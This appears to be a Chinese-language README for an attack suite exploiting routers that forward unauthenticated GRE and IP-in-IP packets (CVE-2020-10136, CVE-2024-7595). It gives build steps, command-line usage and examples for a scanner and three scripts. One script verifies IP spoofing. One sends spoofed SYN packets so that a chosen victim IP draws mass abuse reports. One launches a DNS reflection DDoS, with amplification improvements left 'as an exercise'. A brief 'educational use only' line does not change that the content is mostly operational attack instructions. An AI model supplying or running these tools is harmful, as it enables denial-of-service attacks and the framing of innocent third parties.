
一个针对公网主机(主要是 Cisco 路由器)的扫描与攻击套件,这些主机转发未经认证的 IP-in-IP 和 GRE 协议封装的数据包。
此漏洞被称为“隧道协议的不安全实现”,编号为 CVE-2020-10136 和 CVE-2024-7595。它允许你从受影响的主机发送(但不能接收)任意 IP 数据包。
乍看之下,只能发送不能接收数据包似乎毫无用处。然而,许多受影响的主机位于未实施反向路径过滤的网络中。这意味着你可以利用这些漏洞,在没有缺乏源地址验证(通常称为 IP 头部修改或 IPHM)的主机的情况下,在公网上伪造 IP 地址,从而发起 DNS 放大分布式拒绝服务(DDoS)等攻击。
此工具仅供教育用途。
该工具不包括对 6in4 和 IP6IP6 协议中类似漏洞的扫描,因为 IPv6 并非严肃人士使用的真实协议。
cd scanner/
cargo build --release
sudo ./target/release/ipeeyoupeewepee <source_ip> <src_port> <rate_limit> <protocol_type (GRE|IPIP)>
参数:
<source_ip>:你进行扫描的公网 IPv4 地址。<src_port>:扫描器用于监听转发数据包的 UDP 端口。请确保该端口在你的防火墙中为开放状态。<rate_limit>:数据包速率限制,以每秒数据包数为单位(例如 1000)。<protocol_type>:要扫描的封装协议,GRE 或 IPIP。要使用 tools/ 目录中的攻击套件,请确保已安装 python3 和 scapy。或者,在 tools/ 目录中以 root 身份运行 poetry install 和 poetry shell 来搭建并进入虚拟环境。
该脚本检查易受攻击的主机是否能够转发伪造的 IP 数据包。
sudo python3 can_i_spoof.py <source_ip> <source_port> <tunnel_ip> <spoof_ip> <protocol (GRE|IPIP)>
参数:
<source_ip>:你进行扫描的公网 IPv4 地址。<source_port>:用于监听转发数据包的 UDP 端口。<tunnel_ip>:易受攻击的 IPIP 或 GRE 主机的 IP 地址。<spoof_ip>:你想要伪造的 IP 地址。<protocol>:要利用的封装协议,GRE 或 IPIP。使用示例:
如果你的机器 IP 地址为 192.0.2.42,并且防火墙中开放了 UDP 端口 31337,同时你发现了一个位于 198.51.100.25 的易受攻击的 GRE 转发主机,你可以通过以下命令检查它能否伪造 IP 地址 203.0.113.23:
sudo python3 can_i_spoof.py 192.0.2.42 31337 198.51.100.25 203.0.113.23 GRE
该脚本利用易受攻击的 GRE 或 IPIP 隧道主机,向互联网上随机主机的 22 端口发送伪造的 TCP SYN 数据包,旨在针对指定目标 IP 生成大量的滥用举报报告。
sudo python3 abuse_honeypot.py <tunnel_ip> <spoof_ip> <protocol (GRE|IPIP)>
参数:
<tunnel_ip>:易受攻击的 IPIP 或 GRE 主机的 IP 地址。<spoof_ip>:你想要伪造的 IP 地址。<protocol>:要利用的封装协议,GRE 或 IPIP。使用示例:
如果你发现了一个位于 198.51.100.25 的易受攻击的 GRE 转发主机,并且想要从 IP 地址 203.0.113.23 伪造 TCP SYN 数据包(目标端口 22),可以执行以下命令:
sudo python3 abuse_honeypot.py 198.51.100.25 203.0.113.23 GRE
该脚本利用易受攻击的 GRE 或 IPIP 隧道主机,将 DNS 响应反射回指定目标,演示了一种执行 DNS 反射分布式拒绝服务(DDoS)攻击的方法。此示例较为基础,很可能可以通过改进实现更大的放大倍数和更高的数据包速率;任何改进均留给读者作为练习。
sudo python3 dns_reflect.py <tunnel_ips.txt> <dns_resolvers.txt> <spoof_ip>
参数:
<tunnel_ips.txt>:包含易受攻击的 IPIP 或 GRE 主机 IP 地址列表的文件。<dns_resolvers.txt>:包含用于将答案反射回目标的 DNS 解析器列表的文件。<spoof_ip>:你想要伪造的 IP 地址。使用示例:
要对 IP 地址 203.0.113.23 发起攻击,请运行以下命令:
sudo python3 dns_reflect.py tunnel_ips.txt dns_resolvers.txt 203.0.113.23
在此示例中,tunnel_ips.txt 应包含易受攻击的 IPIP 或 GRE 主机列表,每行开头指定协议,格式如下:
GRE 198.51.100.25
IPIP 198.51.100.45
GRE 198.51.100.124
GRE 198.51.100.200
IPIP 198.51.100.3
[...]
而 dns_resolvers.txt 应包含公共递归 DNS 解析器的列表,格式如下:
9.9.9.9
8.8.8.8
1.1.1.1
[...]